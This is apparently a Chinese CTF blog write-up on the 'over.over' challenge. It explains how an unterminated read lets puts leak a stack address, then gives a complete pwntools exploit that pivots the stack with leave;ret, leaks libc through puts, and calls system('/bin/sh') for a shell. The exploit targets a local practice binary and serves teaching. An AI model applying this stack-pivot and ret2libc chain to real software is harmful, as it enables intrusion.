over.over

wiki花式栈溢出上的一道例题,先checksec 一波

image.png

只开了个NX,再看一眼IDA

image.png

很明显的栈溢出漏洞,但是并没有那么简单,因为你会发现这个溢出空间有点小了,只有0x10,但是我们看到后面有一个puts函数将我们输入的内容打印出来,read并不会在末尾补'\x00'所以只要我们输入0x50个字节,puts就会把rbp也随便打印出来,这样我们就可以通过固定偏移知道栈上所有位置的地址了

image.png

leak 出栈上的地址后我们就可以通过控制rbp为栈上地址,ret_addr 为leave地址来控制程序流程
exp:

#-*-coding:utf-8-*-
from pwn import *
p = process('./over.over')
elf = ELF('./over.over')
libc = elf.libc
context.log_level = 'debug'
payload_1 = 'a'*80
p.recvuntil('>')
p.send(payload_1)
a = p.recvuntil('\x7f')
print a
b = u64(a[-6:].ljust(8,'\x00'))
print hex(b)
stack = b-0x70
# success("stack -> {:#x}".format(stack))
# pause()
p.recvuntil('>')
puts_plt = elf.plt['puts']
print hex(puts_plt)
puts_got = elf.got['puts']
print hex(puts_got)
sub_400676 = 0x400676
leave_ret = 0x4006be
pop_rdi = 0x400793
payload_2 = ''
payload_2 += p64(0xdeadbeef)
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got)
payload_2 += p64(puts_plt)
payload_2 += p64(sub_400676)
payload_2 += (80-40)*'a'
payload_2 += p64(stack)
payload_2 += p64(leave_ret)
gdb.attach(p,"b *0x4006AD\nc")
pause()
p.send(payload_2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "puts_addr: " + hex(puts_addr)
puts_libc = libc.symbols['puts']
offset = puts_addr - puts_libc
binsh_libc = libc.search("/bin/sh").next()
system_libc = libc.symbols['system']
system_addr = offset + system_libc
print "system_addr: " + hex(system_addr)
binsh_addr = offset + binsh_libc
print "binsh_addr: " + hex(binsh_addr)
pause()
payload_3 = ''
payload_3 += p64(0xdeadbeef)
payload_3 += p64(pop_rdi)
payload_3 += p64(binsh_addr)
payload_3 += p64(system_addr)
payload_3 += (80-32)*'a'
payload_3 += p64(stack-0x30)
payload_3 += p64(leave_ret)
# gdb.attach(p,"b *0x4006b9\nc")
# pause()
p.send(payload_3)
p.interactive()

你可能感兴趣的:(over.over)